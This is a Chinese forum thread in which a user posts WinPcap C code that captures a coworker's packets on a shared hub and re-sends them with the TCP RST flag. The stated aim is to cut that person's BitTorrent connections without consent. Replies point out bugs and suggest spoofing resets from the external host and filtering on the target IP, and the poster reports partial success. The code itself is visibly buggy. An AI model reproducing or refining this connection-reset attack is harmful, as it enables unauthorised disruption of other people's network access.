tcp的RST标志问题

发布于 2022-07-05 14:05:04 字数 12933 浏览 8 评论 5

小弟最近给同一内网的兄弟用BT下载搞的很是苦恼。因为是HUB,于是想一个点子。用winpcap截包,如果包的源IP是他的,则给目的IP发送RST标志的包。由于对TCP协议不是很了解,包包截取到后,修改了RST标志后直接再发送,但就没有任何效果,用自己机器测试,上网仍然很正常。
考虑到WINPCAP和LIBPCAP都差不多,就发在这里了,望见晾。代码如下:

  1. // deny.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #include "pcap.h"
  5. #define TMP_IP  "218.23.116.57"
  6. #define TH_RST 0x04
  7. #define DEBUG
  8. //struct sniff_ethernet {
  9. //    UCHAR ether_dhost[6]; /* Destination host address */
  10. //    UCHAR ether_shost[6]; /* Source host address */
  11. //    USHORT ether_type; /* IP? ARP? RARP? etc */
  12. //};
  13. //typedef struct ip_address{
  14. //    u_char byte1;
  15. //    u_char byte2;
  16. //    u_char byte3;
  17. //    u_char byte4;
  18. //}ip_address;
  19. /* IPv4 header */
  20. typedef struct ip_header{
  21.     u_char  ver_ihl;        // Version (4 bits) + Internet header length (4 bits)
  22.     u_char  tos;            // Type of service
  23.     u_short tlen;           // Total length
  24.     u_short identification; // Identification
  25.     u_short flags_fo;       // Flags (3 bits) + Fragment offset (13 bits)
  26.     u_char  ttl;            // Time to live
  27.     u_char  proto;          // Protocol
  28.     u_short crc;            // Header checksum
  29. //    ip_address  saddr;      // Source address
  30. //    ip_address  daddr;      // Destination address
  31.         UINT        saddr;
  32.         UINT        daddr;
  33.     u_int   op_pad;         // Option + Padding
  34. }ip_header;
  35. /*  tcp header  */
  36. typedef struct tcphdr
  37. {
  38.     USHORT sport;
  39.     USHORT dport;
  40.     unsigned int seq;
  41.     unsigned int ack;
  42.     unsigned char lenres;
  43.     unsigned char flag;
  44.     USHORT win;
  45.     USHORT sum;
  46.     USHORT urp;
  47. }tcp_header;
  48. /* UDP header*/
  49. typedef struct udp_header{
  50.     u_short sport;          // Source port
  51.     u_short dport;          // Destination port
  52.     u_short len;            // Datagram length
  53.     u_short crc;            // Checksum
  54. }udp_header;
  55. pcap_t *p;
  56. void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
  57. {
  58.         u_char *send_data = (u_char *)pkt_data;
  59. //        struct sniff_ethernet *ethernet;
  60.         ip_header *ih;
  61.         tcp_header *th;
  62.         int ih_len;
  63.         u_int addr=0;
  64.         addr=inet_addr(TMP_IP);
  65. //        ethernet = (struct sniff_ethernet *)(pkt_data);
  66.         ih = (ip_header *)(send_data+22);
  67.         ih_len=(ih->;ver_ihl & 0xf) *4;
  68.         th = (tcp_header *)((u_char *)ih+ih_len);
  69.        
  70.         if(ih->;saddr==addr) {
  71. #ifdef DEBUG
  72.                 printf("%d : %d ->; %d : %dn",
  73.                 ih->;saddr,
  74.         ntohs(th->;sport),
  75.         ih->;daddr,
  76.         ntohs(th->;dport));
  77. #endif
  78.                 th->;ack=0;
  79.                 th->;flag=TH_RST;                                                //Set the tcp's flag to 'rst'
  80.                 if(pcap_sendpacket(p,send_data,sizeof(send_data))!=0) {     //send data
  81.                         fprintf(stderr,"nError sending the packet. n");
  82.                         return;
  83.                 }
  84.      }
  85. }
  86. int main(int argc, char *argv[])
  87. {
  88.         pcap_if_t *alldevs;
  89.         pcap_if_t *d;
  90.         int inum;
  91.         int i=0;
  92.         pcap_t *adhandle;
  93.         char errbuf[PCAP_ERRBUF_SIZE];
  94. //        u_int netmask;
  95.         char packet_filter[] = "ip and udp";
  96. //        struct bpf_program fcode;
  97.        
  98.     /* Retrieve the device list */
  99.    if (pcap_findalldevs(&alldevs, errbuf) == -1)
  100.         {
  101.                 fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);
  102.                 return 0;
  103.                 //exit(1);
  104.         }
  105.    
  106.     /* Print the list */
  107.     for(d=alldevs; d; d=d->;next)
  108.     {
  109.         printf("%d. %s", ++i, d->;name);
  110.         if (d->;description)
  111.             printf(" (%s)n", d->;description);
  112.         else
  113.             printf(" (No description available)n");
  114.     }
  115.        
  116.     if(i==0)
  117.     {
  118.         printf("nNo interfaces found! Make sure WinPcap is installed.n");
  119.         return -1;
  120.     }
  121.    
  122.     printf("Enter the interface number (1-%d):",i);
  123.     scanf("%d", &inum);
  124.    
  125.     if(inum < 1 || inum >; i)
  126.     {
  127.         printf("nInterface number out of range.n");
  128.         /* Free the device list */
  129.         pcap_freealldevs(alldevs);
  130.         return -1;
  131.     }
  132.        
  133.     /* Jump to the selected adapter */
  134.     for(d=alldevs, i=0; i< inum-1 ;d=d->;next, i++);
  135.    
  136.     /* Open the adapter */
  137.     if ( (adhandle= pcap_open_live(d->;name,  // name of the device
  138.                 65536,     // portion of the packet to capture.
  139.                 // 65536 grants that the whole packet will be captured on all the MACs.
  140.                 1,         // promiscuous mode
  141.                 1000,      // read timeout
  142.                       // remote authentication
  143.                 errbuf     // error buffer
  144.                 ) ) == NULL)
  145.     {
  146.         fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn");
  147.         /* Free the device list */
  148.         pcap_freealldevs(alldevs);
  149.         return -1;
  150.     }
  151.    
  152.     /* Check the link layer. We support only Ethernet for simplicity. */
  153. //    if(pcap_datalink(adhandle) != DLT_EN10MB)
  154. //   {
  155. //        fprintf(stderr,"nThis program works only on Ethernet networks.n");
  156. //        /* Free the device list */
  157. //        pcap_freealldevs(alldevs);
  158. //        return -1;
  159. //    }
  160. //   
  161. //    if(d->;addresses != NULL)
  162. //        /* Retrieve the mask of the first address of the interface */
  163. //        netmask=((struct sockaddr_in *)(d->;addresses->;netmask))->;sin_addr.S_un.S_addr;
  164. //    else
  165. //        /* If the interface is without addresses we suppose to be in a C class network */
  166. //       netmask=0xffffff;
  167. //       
  168. //       
  169. //    //compile the filter
  170. //    if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 )
  171. //    {
  172. //        fprintf(stderr,"nUnable to compile the packet filter. Check the syntax.n");
  173. //        /* Free the device list */
  174. //        pcap_freealldevs(alldevs);
  175. //        return -1;
  176. //    }
  177. //   
  178. //    //set the filter
  179. //    if (pcap_setfilter(adhandle, &fcode)<0)
  180. //    {
  181. //        fprintf(stderr,"nError setting the filter.n");
  182. //        /* Free the device list */
  183. //        pcap_freealldevs(alldevs);
  184. //        return -1;
  185. //    }
  186.    
  187.     printf("nlistening on %s...n", d->;description);
  188.    
  189.     /* At this point, we don't need any more the device list. Free it */
  190.     pcap_freealldevs(alldevs);
  191.    
  192.     /* start the capture */
  193.         p=adhandle;                        
  194.     pcap_loop(adhandle, 0, packet_handler, NULL);
  195.    
  196.     return 0;
  197. }

复制代码

TMP_IP就是我要设置成用BT的兄弟的IP。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(5

我早已燃尽 2022-07-10 06:24:06

do you have linux installed?
use pcap instead of PF_PACKET and set a filter like
    "tcp and src host 192.168.1.2"
where 192.168.1.2 is the one you want to kill
winpcap should have the same function

心安伴我暖 2022-07-10 03:16:39

还有一点小问题,我的网络结构是:
internet---adslmodem----HUB
                                        /   
                                       /     
                                     /         
                                    me       B
me是我的机器,B是他的,我们各自拨号上网,问题是只能捕获到内网IP,却捕获不到他的外网IP。靠rootclown提供的代码,现在只能拒绝他的内网访问。外网连接依然正常。

而sniffer却能做到。不知道为什么。

如果没结果 2022-07-09 22:13:10

谢谢,我明白了。

winpcap有pcap_sendpacket(),libpcap没有。

还有我的那个pcap_sendapcket中计算包大小用sizeof(send_data)根本不对,基础问题,汗!

不气馁 2022-07-06 00:29:21

>;>;>;>;果包的源IP是他的,则给目的IP发送RST标志的包

这个方法不大对头,因为你并不能截止原来的包,一般原来那个包会比你后来发的先到,你发的包与原来的包具有相同的序列号,并认为是重复的。

你可以冒充外网的机器向``用BT的兄弟的IP'' 发 RST.   ack 设为0 是不行的。

ps:  win_pacp/libpcap 现在可以发包了吗?

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文